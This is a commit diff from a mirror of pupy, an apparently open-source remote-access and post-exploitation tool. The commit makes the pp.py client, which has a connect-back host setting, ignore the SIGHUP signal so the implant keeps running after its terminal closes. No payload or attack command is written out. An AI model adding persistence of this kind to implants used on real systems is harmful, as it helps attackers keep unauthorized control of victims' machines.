mirror of https://github.com/n1nj4sec/pupy.git
If signal module SIGHUP - let's ignore it
What can go wrong, huh?
This commit is contained in:
parent
f38c33f285
commit
5596b291bd
|
@ -64,6 +64,7 @@ import logging
|
|||
import shlex
|
||||
import marshal
|
||||
import zlib
|
||||
import signal
|
||||
|
||||
try:
|
||||
# additional imports needed to package with pyinstaller
|
||||
|
@ -285,6 +286,9 @@ def set_connect_back_host(HOST):
|
|||
def handle_sigchld(*args, **kwargs):
|
||||
os.waitpid(-1, os.WNOHANG)
|
||||
|
||||
def handle_sighup(*args):
|
||||
pass
|
||||
|
||||
attempt = 0
|
||||
|
||||
def main():
|
||||
|
@ -293,6 +297,9 @@ def main():
|
|||
global debug
|
||||
global attempt
|
||||
|
||||
if hasattr(signal, 'SIGHUP'):
|
||||
signal.signal(signal.SIGHUP, handle_sighup)
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
parser = argparse.ArgumentParser(
|
||||
prog='pp.py',
|
||||
|
|
Loading…
Reference in New Issue